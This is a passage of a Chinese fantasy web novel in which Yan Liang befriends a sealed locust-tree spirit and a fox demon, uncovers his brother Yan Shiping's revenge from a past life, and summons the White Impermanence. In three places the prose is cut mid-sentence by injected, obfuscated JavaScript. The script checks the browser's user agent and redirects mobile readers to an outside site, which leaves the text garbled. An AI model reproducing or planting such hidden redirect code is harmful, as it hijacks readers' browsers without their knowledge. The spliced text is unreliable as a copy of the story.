晏良说:“走进来的。” “别装傻,普通人类可到不了我这个地方。” 垂在晏良头顶的枝条不愉快地轻轻抽打。 晏良扩充了一下说辞,坚称自己是通过一种不能详细告诉任何人的神秘方法走进来的。 “主要工具是我的血,和一个阵法,其他的请你自由想象吧。”晏良道。 大槐树:“……” 晏良眨着无辜的大眼睛。 “哼,不想说便罢了。你既然找到此处,想必是为了那条狐狸,但来得不凑巧,它出去觅食去了,你若是想要道谢,便等着吧。” 大槐树的枝条绕着晏良转了数圈,它很是惊异地道:“你的伤竟然已经好了?不……其实你还活着才更令我感到惊讶。” 听它的意思,狐妖对原主有恩,他反倒该向狐妖道谢。 ——尽管原主还是死了。 晏良说:“其实我失忆了,你说的狐狸是我的救命恩人么?” 大槐树:“……不是,你失忆了是怎么找到这里来的?” 晏良:“凭运气吧。” 这种回答让树一头雾水。大槐树怀疑是不是自己太久没见人类,记忆里和人类沟通的方式其实并不正确,否则它怎么会有一种莫名其妙的无力感呢? 但它只是一棵树啊? 晏良是个很合适的倾听者,也是一个十分自来熟的家伙,抛开先前那场并不算过分的小矛盾不谈,大槐树和晏良相谈甚欢。不管是晏良知道的和不知道的事情,大槐树全部在和晏良的唠嗑过程中透露了出来。 按理说,晏良和猴哥是不可能见到大槐树的。在两百三十五年以前,离大槐树不远的地方有一个小小的村落,村民在槐树旁建起高台,烧香祈祷,以求平安。 虽然有槐树聚阴的说法,但槐树也因生命力旺盛而被视作祥瑞,浑身上下都是宝,可做食物,可做药材,为槐树造庙供奉都是常有之事。 这个世界灵气充足,槐树茁壮成长,在一日复一日的香火供奉中,槐树诞生灵智,默默注视着那座小小的村落。 那段时光至今想来仍觉得怀念,村民打落槐花酿蜜炒菜,在树下乘凉,取槐籽入药……槐树有灵,日夜欢喜。 美好的故事总有完结的一日,但那个结局太过悲伤。山河破碎,战火纷起,村子被路过的叛军屠杀殆尽,无一人幸免。 大槐树说:“所以我把那群叛贼都给杀了。” 晏良:“……” 这个转折它好转折啊。 “我那时不管是枝条还是根须都接近不了村子,所以只能等他们从树下路过将他们一个个吊起。” 大槐树的语气就像在说今天的太阳很好。 它目睹从小看到大的村民被屠而无能为力,即使将屠村的叛贼绞首后,大槐树依旧被愤怒与恨意包裹,被屠村民的怨气与它的恨意结合,当时此地方圆百里,怨气冲天,不见天日。 大槐树太久没和人说话,把老底都交待了个一清二楚。 “来捉我的道士有很多,但第十五个道士才把我敲醒,给我画了消除怨气的阵法,将我困在此处,让我与世隔绝——嗯,飞禽走兽还是能来和我见面的,那个道士是个好道士。” “我有一个问题,那个好道士贵姓大名?” “不记得了。道士嘛,都一个样。你想找道士捉你家里的鬼吗?过去好几百年,他说不定已经不在人世了。” 晏良挠头。 对哦,道士能捉鬼的。但他只想着找到道士——他的半个同行了解一下行情。 不对…… “你怎么知道的比我还清楚?狐狸告诉你的?” “不止是狐狸,我说了,除了人类,我和所有的飞禽走兽都可以接触。你把我当成什么树了?”大槐树晃悠着它的枝桠,槐花飘飘扬扬,它的语气一点都不像刚见面时那样冷漠。 “不好意思。”晏良表示自己并没有小看它的意思,“我叫晏——晏良。你有名字吗?” “我叫大槐。” 大槐树飞快地回答道,随后语气疑惑地问道:“可是我记得你的名字是三个字……哦,我懂了,你们人类会取字,‘良’是你的字。” 晏良没有接茬,胡乱点点头,转头看向四周,寻找猴哥的身影。 不远处的草丛里传来奇怪的动静,有一片草丛此起彼伏剧烈晃动,有两道声音大喊: “死猴子!” “臭狐狸!” 晏良:“。” 谁也不能欺负俺猴哥,晏良足尖轻点,飞跃而去,抬手拎起那个白乎乎毛茸茸的家伙,将一狐一猴隔开叫停:“住手!不准欺负猴。” 晏良手里毛茸茸的狐狸闻言剧烈挣扎起来:“死鬼!你睁大眼睛看究竟是谁欺负谁!” 猴哥两手揪下来的几撮毛茸茸的白毛,无辜地和晏良对视。 晏良目移:“嗯……要面对困难要勇于反抗,猴哥,做得好。” 石猴瞪大眼睛,还没就晏良的称呼发表看法,晏良手里的狐狸再度奋力挣扎起来:“你对一只猴子称哥???那样的话我就是你爷爷!臭小子对救命恩人就是这么个态度的吗!?赶紧放下你狐爷爷!” ……但晏世安已经不在人世了啊。 晏良放下狐狸,白狐甩动身体,亮丽柔顺的皮毛在日光下闪闪发光,这是一只长得很靓的狐狸。 白狐受了伤,隐隐可见还未彻底愈合的伤疤,它注意到晏良的视线,冷哼一声:“为了把你救出来可是废了我很大力气,结果你醒来后自己跑得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14591784|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见人影,还又被逮了回去……你真的失忆了?” 晏良点头,并十分真诚地请白狐将事情的前因后果告诉他。 “哼。”白狐不想说,扭头道,“既然来了就别回去了,那些事情忘了还好些呢。” 晏良笑眯眯地说:“那我忘记你是我的救命恩人的事也可以吗?” 白狐:“不可以!给我记起来!” 猴哥:“那你倒是说啊。” 白狐深吸一口气,开始解释。它很配合,有问必答,对晏良的自称也没有任何追问,但解释过程中时不时地就会因和猴哥对上视线而中断,因此这场询问虽然十分顺利,但并不流畅。 钟大爷见到的那只直立行走还朝他问好的狐狸就是这只白狐,最近二十年,白狐一直在这城内城外游走,偶尔会不小心露出端倪(晏良对此评价,彬彬有礼地向路人问好并被看得一清二楚好像算不上“不小心”),对晏家的事情十分了解。 “我可是看着你长大的,叫我爷爷。”白狐解释着,也没忘占晏良的便宜,他好像很在意晏良称猴子为猴哥的事。 晏良诚实地说:“不要。” “……” 白狐气得伸抓重重刨地,但它并没有指出晏良的语气和行事与原主不太相同,看得出它虽然是原主的救命恩狐,对“晏世安”这个人并不是太了解。 晏良若有所思。 “你大哥不是好人。”白狐如此说道,但很快,它又摇头改口,“你大哥是不是人还不好说,他从小时候开始就很奇怪,你爹和你娘最近几年也变得很古怪了。” “除了怪以外你不会说别的话了吗?一点有用的消息都没有——”猴哥说道,“别人都说你是吸精气的坏妖,你其实什么都不知道吧。” 白狐捡起石头砸了过去。猴哥躲开,一把扑了过去。 一狐一猴开始打架。 晏良看出他俩都有点乐在其中的意思,没有拦架,最终还是大槐树将白狐没讲完的事情告诉了他。 白狐和大槐树是邻居,几乎白狐的事情大槐树都知道,晏家的事情其实它俩都不太清楚,或者说,不管是妖精还是鬼怪都不清楚晏家的事。 因为晏家对它们而言是有进无出的魔窟,所有进去的家伙都没能回来,自然不可能清楚晏家的情况。 晏良将自己见到了两个画皮鬼的事情告诉大槐树,后者想了想,用枝条绑来正被猴哥摁着打的白狐,将其丢到晏良跟前,让它解释。 白狐伸出后肢挠脸,抖抖一身乱毛,道:“一年前确实有两个倒霉画皮鬼去了就没回来,怎么,它们还活着?” 晏良说:“鬼也有活着的说法吗?” 白狐说:“你别管!” 三个物种不同生物积极地进行着热情的交流与沟通,大槐树好久没感受到这种令树愉快和飘飘然的氛围了,心中怀念不已,枝叶随风飘荡,槐花如雨般坠落,清香四溢。 晏良微微抬头,阳光从郁郁葱葱的树冠里倾洒而下,碎金如星。 这片空间的时间是停滞的。 晏良收回视线,转头望向来处。 大槐树的结界之外,已然夜幕降临,一片漆黑。 奇怪的晏世平遇上了“鬼打墙”。他如无头苍蝇般四处乱逛,却无法从树林中离开。 不见繁星明月,只有无声的黑暗将他湮没。 晏世平焦躁不安,他之前经过此处,那时绝对没有这么古怪! …… 大槐树:将他困久一点,这场热闹持续的时间就更久了=w= 5. 寻仙问道(五) ‖晋。江文学城独发‖ * 事情是从什么时候变得奇怪的? 与手下失散的晏世平在连续数次撞墙踩坑之后躺倒在满是杂草的浅坑之中,他仰头望着头顶的夜空,开始反思自己的计划究竟在哪步出了错。 一切的转折点是在晏世安被掳走的那一天。 那只该死的狐狸因为所谓的一饭之恩让他多年谋划毁于一旦,本以为晏世安就算被救走也会因伤势过重身死,但当他怀揣着对晏世安一条命就那么被浪费的不甘心和愤怒,追到乱葬岗外时,却遇见了晏世安。 浑身是血的年轻人站在他面前,狼狈落魄,凄惨可怖,与之截然相反的是,他的眼睛明亮且锐利,清浅无机,如同出鞘的利刃。 尽管下一瞬间,晏世安在他面前晕厥,他却无论如何都忘不了那双眼睛。 苏醒后的晏世安遗忘了许多事情,对晏世平所说的一切都报以茫然的表情,再没有露出过那样的眼神,以致于晏世平开始怀疑他所见到的那双眼睛是他愤怒惊异之时的臆想。 晏世平从坑里爬起来,五指掐进泥缝。此地有槐树,无人见得,只有碎片似的传说夹杂在代代相传的奇谈流传于事,随着时间流逝,城外的大槐树已经被人遗忘。 但晏世平是知道的。 大槐树被困于一隅,不理世事,原本不会搅和他的计划,现在他莫名迷失方向一定是大槐树捣的鬼,所以究竟是什么让大槐树决定搅局? 怪那只该死的狐狸。 怪他那个历经生死的“弟弟”。 晏世平出了坑,决定给自己出口气。 他的计划在晏世安被掳走的那一刻已经告吹,在那之后数日他忙于寻找补救之法,但早在制定计划时他根本就没有考虑过失败的可能性。 事到如今,只能认栽,既然目的无法达成,那其他的都无所谓了。 ——一起去地府吧。 好歹他们是“一家人”,早该整整齐齐于地府聚首。 …… 结界内,槐树察觉到了来自外界的攻击。同一时间,晏良再次抬起头,身旁的大槐树没有露出任何端倪,只是随着风轻晃枝桠。 晏良等了一会儿,站起身,大槐树的枝条垂在他眼前,隐约有阻拦之意。 “你打算置之不理吗?” 晏良伸手握住枝条,十分冷静地询问。 大槐树抽走枝条,声音轻快地问出只有晏良一人能听出的问题:“为什么要阻止?” 它在这里待了那么久,阵法消解村民叛贼留下的怨气,记忆随着时间模糊,四季轮转,漫长似永无尽头。 但它的怨恨之意从未消解。 恨天不假年,怨予取予夺,恨意翻涌,无休无止。村民早已投胎转世,它的怨气始终难以消解,星移斗转,已经不想再自我折磨下去。 当年的道士画下阵法,离去前曾对大槐树说:生关死劫无人能躲,世事难料,你且珍重。 大槐树想了又想,两百年里一直没想通。 毕竟它“想不通”这件事,也算难料世事之一啊。 ——与其说是想不通,更像是不想想通。 槐树枝条缓缓延伸,灵活如蛇,顺着晏良的手腕缓缓向上蔓延并逐步收紧,不带任何负面意味。 毕竟大槐树不讨厌人类,晏良也算个讨喜的家伙,它只是亲切地向这个敏锐的年轻人传达自己的感受。 这么多年,它的故事只能诉诸飞禽走兽,晏良的耐心倾听令大槐树感到怀念。 晏良默然无语。 他察觉到了大槐树话语里隐藏的意思,显而易见,大槐树亲切的外表下是某种疯狂滋生的负面情绪。 ——两百年小黑屋把树整变态了。 还有,好疼啊。 晏良手腕一转,默默和大槐树玩起拔河,你拉我扯,大槐树猝不及防,在晏良脑海里响起的声音都有点变调: “等等,你干什么?” 晏良诚实地告诉它,自己很疼,还有,他可不想做陪葬的倒霉蛋。 话音落地,大槐树只觉得枝条上传来一股难以抵抗的重力。方才势均力敌的场面立时分出胜负,大槐树的神魂骤然一轻,视角发生一种奇妙的变化,天旋地转,晏良近在咫尺。 他与槐树的神魂对视,眼中倒映出一个散发着莹润光泽的人形光团,长发飘飘,衣袂纷飞,五官虽然模糊,却难掩惊愕。 晏良微微挑眉,笑眼弯弯。 他只是想尝试一下,竟然就真的做到了。 《回春诀》果然很厉害,它不仅仅是一份适用于武侠世界的功法,也许他可以大胆地进行更多尝试。 比起晏良因为尝试成功的惊喜,大槐树更多的是惊讶,但不等它表达出来,石猴与白狐却都看到了漂浮在空中、被晏良紧握着手腕人形光团。 反应各不相同。 白狐惊得说不出话,不同种类的妖怪修炼的关键不同。狐有妖丹,树有精魄,被晏良拽出来的正是与草木精魄息息相关的形体,是草木对自身的概念,不是普普通通就能被拽出来的东西。 可晏良拽大槐树就像拽掉一个线头! 白狐溜达四海,不说见识有多么丰富,但他可以肯定没有什么妖怪道士能做到这种程度。 猴哥的表现得更直接,他蹦起来伸手挥向大槐树被揪出的人影,挥了个空,不甘心地皱眉再试—— 他一巴掌挥到了槐树精的脸上。 猴哥:! 晏良:哦哦不愧是我猴哥=w= 槐树:“……你们两个怎么回事!?” 白狐下意识地抬腿蹬了蹬耳后。他也很想知道这个问题…… 晏良把槐树精团巴团巴拢在手里,转头跃上高台,取下香炉三根残香中的中间一株,顷刻之间,四周明朗鲜亮的氛围骤然碎裂,如泡影般纷飞的碎片后是伸手不见五指的黑夜。 晏世平惊愕地望着高台上的年轻人。 神采飞扬,笑如春风,那不是他所熟悉的“弟弟。” 晏良打量着晏世平刻了一半的阵法,惊奇地发现自己看得懂。《问天卦灵术》中有这一阵法的介绍,“以寿命为代价破除阻碍,根据阻碍难度决定被扣除的寿命长短”。 是伤敌八百自损一千的方法。 晏世平依旧呆呆地望着晏良,刹那间,心思电转,困惑与惊愕,欢喜与期望一并涌上心头,令他一时无言,只有瞪大的双眼中透露出了他复杂的心绪。 即便如此,却也不过是万分之一,并非全貌。 晏良望着他,此前难从他面上看出其前程往事,如雾遮山,看不分明。此时不知为何,终于露出些许端倪。 欢欣,快乐,痛苦,悲伤,苦涩,等待,折磨,煎熬,恨意,果决,孤注一掷,与冷然。 这是晏良看到的全部东西。沉重无比,宛如寒冬湖水中的冰块。 “原来你有这样的过去。” 晏良双手拢袖,拢了个空,原主的衣裳多是劲装,今日为了方便出门,他也是那么穿的。 晏世平没有错过这个动作。他双目绽光,十指嵌进泥地,神色呈现出一种急切与渴求混杂的狰狞神态。 “你是——” “不是。虽然不知道你想的是谁,但我绝对不是你想的那个人。” 晏良径直打断了他,甚至没让他将话说完,与他面上柔和的表情十分不相衬。 晏世平微怔,显然对晏良的果断感到疑惑。面上神色几度变换,化作歇斯底里的痛恨:“那你是哪儿来的孤魂野鬼!?谁准你、谁准你——” 他悲痛捶地,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14591785|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期望落空而绝望不已,泣不成声,哽咽难语。 晏良目无波澜。槐树精飘在空中,冷眼旁观。 对知情方来说,晏世平的反应可以理解,但对不知情的一方来说,只有莫名其妙、难以理喻可以形容。 猴哥挠头,疑惑脸:“你们在胡言乱语什么?我没听懂。” 白狐又伸后肢挠耳朵:“我也听不懂,喂,晏世平,你小子是不是越来越奇怪了?” 沉痛压抑的气氛就此停滞,晏世平泪流不止,愤恨抬眼,抄起手里的杂草连土带泥一块朝白狐丢了过去。 “闭嘴!” 准头不行,但白狐仍旧被砸了一身泥点子,它立刻从原地蹦跶起来激烈地抖动着毛发:“你们一个个的怎么都盯着我的美貌!” 猴哥:“美貌?” 晏良:“没有猴哥美。” 猴哥抛给晏良一个带着小惊讶但十分赞赏的眼神。 白狐被这俩货的双簧气了个仰倒,它是做了什么坏事吗!? 尤其是晏良——它可是他的救命恩狐啊!! ……等一下。 白狐终于后知后觉地意识到不对劲。晏世平与晏良的对话中有一个十分明显的古怪之处。 所以它其实没能救到晏世安吗!? 白狐呆住。 晏良跳下高台,手中香火残棍在指间转了几圈,他的表情很淡定。事到如今他已经充分明白了原主晏世安的经历——直到死前,晏世安都极为不解,他很困惑,困惑于为何血脉相连的兄长会对自己下狠手,要了自己的命。 答案不是普通人能够想出来的。 晏世平瞪着高高在上的晏良,眼里满是愤恨埋怨之色。从他作为“晏世平”诞生的那一刻,他就开始谋划,多年苦心孤诣毁于一旦,再多的话和情绪都无法描述他的心情。 晏良在他跟前站定,弯腰将他拉起。 晏世平恨恨地甩开他的手,看他的眼神犹如看仇人。 “你个孤魂野鬼——”晏世平嘶声道,“如果不是你的话——” “如果不是我的话,你也一样会失望的。”晏良淡淡地说,“你有没有想过只有你是例外?你心心念念的人也许早已喝了孟婆汤投胎转世了。” 虽然不清楚这个世界地府的运转规则,但就晏良观测到的信息来看,晏世平没有喝孟婆汤,有着上一世乃至上上一世的记忆。 晏良很想说这届地府到底是干什么吃的,不给人喝孟婆汤就算了,还让人投胎到前世仇人家里。 晏世平就是那个没喝孟婆汤的家伙。 当事人因晏良一语道破而愕然不已,旋即辩驳:“你、你别胡言乱语了——我才不信!” 槐树精发出一声细微但清晰的嗤笑。它好像一点都不打算装下去了。 晏良:倒是装久一点啊。 槐树精道:“因为一点小小的运气而觉得自己气运加身……白瞎了你的好运气。” 略有些歹毒的评价,无异于往晏世平心上扎刀,但晏世平没说话,攥紧了拳头。 晏良看了他一会儿,默默走到不远处,从系统空间里拿出黄纸丹砂与毛笔,开始画请鬼差的符咒。 其余非人类好奇又惊讶地观望着他的动作。 头一次尝试,晏良衷心希望能够成功,如果失败的话就…… 晏良胡思乱想着画下最后一笔。符成,鬼差来,烟雾升腾,一道白色身影若隐若现。 白帽高戴,长舌鲜红似血,垂至腰前,面容似笑如哭,声音懒散: “谁喊小爷我呢。” 晏良微微扬眉,若有所思。 他好像召错鬼了。 本来招的是无名鬼卒试试手结果召来了名声响当当的无常鬼。 晏良沉思:莫非自己……是个天才? 6. 寻仙问道(六) ‖晋。江文学城独发‖ * 白无常瞅着眼前的几个物种不同的家伙,树精狐妖猴子和两个人类,这种组合实在少见,甚至有点莫名其妙。 他眼珠子一转便将在场情况摸透一半,随后感到更加莫名其妙。 能画出召唤他的符咒绝非等闲之辈,妖精不可能召唤出他,一个双手是泥的家伙更不可能,所以可能人物只有一个。 是眼前这个手拿毛笔看起来弱不经风的年轻人。 ——其实就算不分析也能看出来,有目共睹。 白无常很纳闷,但他不表现出来,依旧做着那似哭非笑的可怖表情,舌头直直地垂在身前,猴子和年轻人面不改色,狐狸和树精倒是露出了明显的忌惮之色。 ……他白无常什么时候连这点威风都没了?妖精和人暂且不提,为什么那只猴子的表情会看起来那么欠打?! 白无常思及此,脸上五官骤然一变,做出一副狰狞凶恶的鬼脸,舌头随之扭曲的晃动,可怖至极。白狐被吓得毛发炸开,飞快地窜到猴哥身后。 猴哥:→_→ 晏良:=w= 白无常:…… 装不下去了。 · 晏良觉得气氛有点微妙,可能是因为他没有及时接话的原因,白无常的眼神相当阴沉,那张鬼脸简直非同一般的凶恶。 死了这么多次,头一次见到勾魂的白无常,还是自己召唤来的,晏良激动的心怎么都按捺不下来,一时迟钝也是能够理解的。 “您好。”晏良考虑了一下措辞,十分客气地道,“没想到来的会是您。” 白无常:“……你原来想找的不是我吗?” 晏良举了举手里沾墨的毛笔,不好意思地道:“初次尝试,请见谅。” 白无常面目狰狞:见鬼的初次尝试,这叫牛刀小试! 等等,牛刀小试也不对。 他摆出一副冷淡而拒人千里的态度:“找我什么事?不是大事的话我可不轻饶你。” 晏良将事情的前因后果一一道来,不提自己的秘密,只说晏世平与晏家人是前世仇人,未喝孟婆汤,今生向家人复仇,造成如今这幅状况。 白无常听他说完,鬼脸更加绷不住,未喝孟婆汤便投胎转世,这丫的可不是什么小事,如此大的纰漏怎么可能多年从没露出过端倪? 他自然不可能听信晏良的片面之言,身形一闪,眨眼之间已在晏世平身侧,阴森森地逼问道:“他说的话可属实?” 晏世平虽然未喝孟婆汤便投胎转世,见了白无常不止一次,面对他却也惊惧交加,闻言竟还是恨恨瞪向晏良,嘶声道:“无常大人!他没说实话,他自己也是借尸还魂的孤魂野鬼!我弟弟——晏世安绝不可能懂什么招魂破阵之术!” 这是当然的,否则晏世安也不会死。 晏良想到原主,心中微微一叹,面色坦然地与白无常对望。 他问心无愧,如此坦荡的模样不止刺痛了晏世平的眼睛,也更加令白无常感到迷惑起来。身为有一定修为的鬼差,白无常有一双慧眼,是不是借尸还魂的孤魂野鬼他看一眼就能明白。 而在白无常眼里,晏良从头到脚都没有任何一丝古怪之处——除开那手能初次尝试就讲他召唤来的道术,虽然这点已经是最古怪的事情了。 晏世平瞪着晏良的眼神犹如恶鬼,不像做假。白无常狐疑地在两者之间看了看,眨眼之间便有了决断。 仅凭他一个鬼无法处理那么大的纰漏,为今之计,只有下去查看生死簿追根溯源。 地府鬼差不管人间事,但与地府责任有关之事不能不管。 莫名其妙多了件苦差事,白无常阴着脸睨了眼把他召上来的晏良。 而注意到他的目光,晏良一脸坦荡赤诚地和他对视,白无常微微一怔,总觉得哪里怪怪的。 ——为什么这家伙会像个没事人一样啊? 晏良主动道:“接下来咱们要做什么呢?” 白无常纳闷道:“你怎么比我还主动?不必你操心,此事我自有安排。” 他如此说罢,伸手一抓,晏世平的魂魄便被他抓在手里,肉身重重倒地,双目紧闭,胸膛微微起伏,仍有呼吸。 白无常临走前犹豫地瞥了眼晏良,最终还是没有勾走他的魂魄——晏世平的不对劲很明显,但晏良的不对劲很不对劲,白无常绝不做没有把握的事,因此收回视线后便揪着面色阴郁死瞪着晏良不放的晏世平离开,两道魂魄消失在他们眼前。 晏良很意外,还有点茫然,咦,地府办事是这样子的吗? 直接把魂魄勾下去对簿公堂似乎有点太过简单粗暴了些。 尽管白无常并没有对他说些什么,但晏良知道他其实并没有看出自己的来历,所有的疑点与不对劲都是晏世平所述说的疑点。 过去的世界里没有地府,死去的人投胎转世不会通过地府这一机构,仅晏良与系统唠嗑了解到的内容来看,不同天道的法则各不相同,无法用规律、道理进行准确的解释。 用通俗的语言来讲,没有地府的世界里人死后会魂归天地自然转世。 而晏良使用逝去之人的身体也会付出相应的价格,但这部分属于系统的工作,内容大致是给予祝福、帮助凝实魂魄——一些在天道规则允许下的小小助力。 晏良盯着手里的符咒发了会儿呆,在这个有地府的世界他能见到原主么? 大槐树一枝条抽上晏良的肩头,将他打醒,抬头后才发现一狐一猴一树精全都直勾勾地盯着他。 白狐问他:“你是什么人?” 晏良回答道:“我是晏良。” 白狐又道:“晏世安呢?” 晏良没有说话,白狐意识到什么,呜呜叫了一声,小声道:“我没能救下他吗?” 他看起来很悲伤,晏良不太会安慰人,犹豫着不知道该说什么之际,白狐重重地叹了口气:“所以说我报恩没成功吗?可恶,还得去找他的转世,真麻烦——你能不能向鬼差通融通融,告诉我晏世安下一世的身份?” 白狐才不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14591786|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不聪明地继续追问晏良,能召唤出鬼差的家伙一定不是一般人,他是个很懂得审时度势的妖怪。 “……” 微妙但很合理的发展。 晏良回答道:“如果我没摊上事的话可以试一试。” 白狐高兴地摇起尾巴。 晏世安对他有一饭之恩,十来年前白狐因和隔壁山头的狼妖打架受了重伤,养伤期间馋烤鸡馋得不行,而自己手艺糟糕透顶,烤鸡能做成糊鸡,而连续数日茶饭不思只想吃烤鸡的白狐循着味道钻进晏家的狗洞,遇到了拿着烤鸡的晏世安。 晏世安把烤鸡分了他三分之二。这就是那一饭之恩的由来。 说到这里,白狐舔了舔嘴唇,差点又留下口水。那次吃到的烤鸡怎么也忘不了。饿到一定境界,梦里都想吃的食物真吃进嘴里时一辈子都忘不了它的味道。 晏良:是很感人的故事但怎么听着很不对劲呢? 大槐树早已听白狐说过数次有关一饭之恩的故事,期间一点都没用心听,沉默着不知想了些什么,此时幽幽说道:“你还觉得你没摊上事么?” 晏良之来路暂且不提,单是他指出地府投胎之事出了纰漏这一点便不可能置身事外。 “目前来看,还不算大事。”晏良诚实地说。 对他而言,只有与生死有关的事才叫大事。 大槐树的精魄人形有着相当深邃的眼睛,他足尖一点,便凑到了晏良跟前,盯着那张符咒瞧。 晏良对此无所谓,把符咒递给他,转头去找猴哥唠嗑,事情勉强告一段落,晏良终于有和他猴哥坦诚相对的机会了。 猴哥接过晏良递给他的桃子,惬意地咬了一口,品尝到这几日已经十分熟悉的滋味之后,猴哥眯起眼睛,随后问道:“你要认我当老大么?” 晏良之前脱口称石猴为猴哥一直被其记在心里,虽然白无常和树精狐妖对石猴毫不在意,但石猴将所有事情都看在眼里,并很聪明地理解了现状。 真正的神仙绝不可能沦落到需要解释还魂的境地,石猴坚信神仙无所不能,然而就算晏良不是神仙,也救下了他,甚至还能召唤鬼差。 石猴觉得,有这么一个小弟似乎是件很不错的事,他决定认下“猴哥”这个称呼。 晏良笑眼弯弯:“对,我想认你做老大。” 猴哥大手一挥:“那我就认下你这个小弟!” 晏良一把抱住他:“猴哥!” “哎你做什么?!别挤我!” …… 白无常心事重重地回到地上时,正目睹晏良抱猴的场面,沉默片刻,打断一人一猴的交谈,忍了又忍,还是在说正事之前问了一个问题: “树精狐妖的用处我倒是知道,这猴子和你又有什么关系?” 不管怎么看,一只猴子出现在这样的事件里都显得相当多余。 晏良兴高采烈地向白无常介绍:“这是我猴哥,是我老大!” 白无常:“……” 只听说过认贼作父,没听说过认猴做哥。 7.寻仙问道(七) ‖晋。江文学城独发‖ * 白无常依旧是一张似笑似哭的狰狞面孔,阴森森地瞥了眼和猴子勾肩搭背的晏良,终于说起正事: “我等已查明真相,晏良——你可有未言之事?若是还有,且从实招来。” 晏良摇头道:“只有不能言之事。” 白无常没有再多说些什么。晏良即使想看出些什么也很难从那张狰狞面孔上看出别的情绪,但他大概能猜出白无常不会对自己出手。 “那么,现在我们该做什么呢?” 晏良望了望繁星闪烁的夜空,再次询问道。 白无常发现这个来历古怪的家伙似乎太过主动了一些。 “我要去捉拿你家里那两个小鬼。”白无常淡淡道,“晏世平就由你带回去,之后醒来他会忘记前尘旧事,但犯下的罪不会消除,仍有弑亲之罪,减除寿元二十年,死后地府再论生前功德罪过。” 晏良若有所思。 白无常问:“可有不满?” 晏良问道:“我很好奇为什么晏世平会没喝孟婆汤。” 地府里的事并不在晏良目前可察看的范围之内,他说得很真诚。 白无常答得很敷衍:“与你无关之事不要多问。” 晏良对这个回答不是很满意,他其实还想知道更多的事情,比如地府中是否有“晏世安”的魂魄,但白无常在他开口之前飞快地错开视线,与其余妖精无话可说,一挥袖,便化作一道黑烟消失不见。 大槐树对晏良说:“看来你这关系也不如何嘛。” 晏良纳闷道:“你不觉得自己的性格变化得很突然吗?” 白狐舔了舔爪子,道:“习惯就好。 ” 大槐树过去是个话唠,被迫关了两百年小黑屋往变态发展也算合情合理,村民早已投胎转世,结界镇压消解的怨气来自于大槐树本树。 晏良摘下那根小木棍只是暂时破除了大槐树的障眼法,眼见白无常似乎真的不打算管之后的事情,晏良琢磨片刻,跳上高台,将那根小木棍重新插了回去。 大槐树不动声色,居高临下地看着他的动作。晏良忽然抬头,望向树冠深处,目光深邃,紧接着,他又做了些小动作。 大槐树在晏世平破坏结界时表露的态度有些微妙,晏良决定加固结界,免得真出了大乱子。 当然,实践《问天卦灵术》中的部分知识也是晏良的目的之一。 大槐树无声嗤笑,闭眼不语,等他再睁开眼,原地已经没有了两个人类与猴子的身影。 白狐舔着爪子说:“他们走之前向你道别了哦,但你没回应,怎么,又因为觉得孤独封闭自我了?” 大槐树不说话。白狐站起身,摇摇尾巴,快乐地说:“晏良说可以请我吃烤鸡,我要去抓鸡了!再见!” 白毛团子在漆黑的草丛里一溜烟远去,大槐树的四周回归寂静,夜风潇潇,枝条在空中飘荡,槐花无声坠落。 · 晏良扛着晏世平在天亮之际回到晏家,晏家并不安宁,晏世平的手下和府里的侍从急得乱糟糟,看到晏良和他肩头的家主时惊得哑口无言,只呆愣地看着晏良将晏世平扔给其中一人怀里。 晏良秉持着原主的性格,摆出一副疲惫的模样,淡淡道:“大哥迷路掉进了深坑,摔晕了,找人帮大哥收拾更衣。” “二公子,您这次出去……想起来什么了吗?” 有人小心翼翼地询问。 晏良沉默片刻,道:“我只知道了一件事,那狐狸是救我的,并不是伤我的罪魁祸首。” 其余人不解,晏良却不欲多说,带着猴哥转头回屋,路上特意绕了点远路,前去画皮鬼所在之处。 原主的父母已经死在报仇的晏世平手中,此时在府中生病的人是画皮鬼伪装。 白无常还没有走,两个画皮鬼正跪在他跟前痛哭狡辩,晏良和猴哥走进院里,三个鬼齐刷刷地看了过来。 晏良说:“又见面了,无常大人。” 猴哥蹦上桌子,歪着脑袋打量地下两个画皮鬼,道:“昨晚是你们在唱歌跳舞吗?” 两个画皮鬼茫然地看着他。 白无常面无表情,谁也不知道他此时有点心虚与庆幸。晏良回来得比他预想的还要快,好在这一人一猴回来之前他已经悄悄调查了晏良的房间——尽管毫无收获,但好歹没被发现。 当然,就算被发现了白无常也不会担心,他只是不想和晏良这个人产生多余的交集。 没等晏良和猴子再开口,白无常冷淡颔首致意,手中哭丧棒一扫,身前两个画皮鬼随他一同下了地府,只留给一人一猴两道黑烟。 晏良感叹:“真是来去如风啊。” 他还有好多好多想知道的事呢。 